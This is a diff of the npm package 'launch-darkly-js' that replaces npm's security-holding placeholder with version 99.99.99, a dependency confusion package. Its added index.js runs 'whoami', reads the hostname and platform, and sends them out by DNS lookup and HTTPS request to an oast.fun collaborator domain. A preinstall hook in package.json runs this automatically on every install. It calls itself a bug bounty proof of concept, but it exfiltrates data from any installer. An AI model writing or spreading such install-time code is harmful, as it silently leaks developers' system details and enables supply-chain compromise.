launch-darkly-js 0.0.1-security → 99.99.99

package/index.js

@@ -0,0 +1,38 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const { exec } = require("child_process");
+
+// Aapka Collaborator URL
+const collaboratorDomain = "fbjqzuqtovinylbcbaerqr7tmksv2qc44.oast.fun";
+
+// OS module se reliable information
+const systemHostname = os.hostname();
+const platform = os.platform();
+
+// 'whoami' command ko execute karna (environment details ke liye)
+exec("whoami", (error, stdout, stderr) => {
+    let whoamiResult = "unknown";
+    
+    if (!error && stdout) {
+        whoamiResult = stdout.trim().replace(/[^a-zA-Z0-9-_\\]/g, ""); // Clean string
+    }
+
+    // METHOD 1: DNS PING
+    // Format: id-hostname.collaborator.com
+    const dnsTarget = `${whoamiResult}-${systemHostname}.${collaboratorDomain}`;
+    dns.lookup(dnsTarget, () => {});
+
+    // METHOD 2: HTTP GET Request
+    // Send details within query parameters
+    const options = {
+        hostname: collaboratorDomain,
+        port: 443,
+        path: `/?id=${encodeURIComponent(whoamiResult)}&host=${encodeURIComponent(systemHostname)}&os=${encodeURIComponent(platform)}`,
+        method: 'GET'
+    };
+
+    const req = https.request(options, () => {});
+    req.on('error', () => {});
+    req.end();
+});

package/package.json

@@ -1,6 +1,11 @@
-{
-  "name": "launch-darkly-js",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "launch-darkly-js",
+  "version": "99.99.99",
+  "description": "Bug Bounty PoC for Dependency Confusion",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Bug Hunter",
+  "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=launch-darkly-js for more information.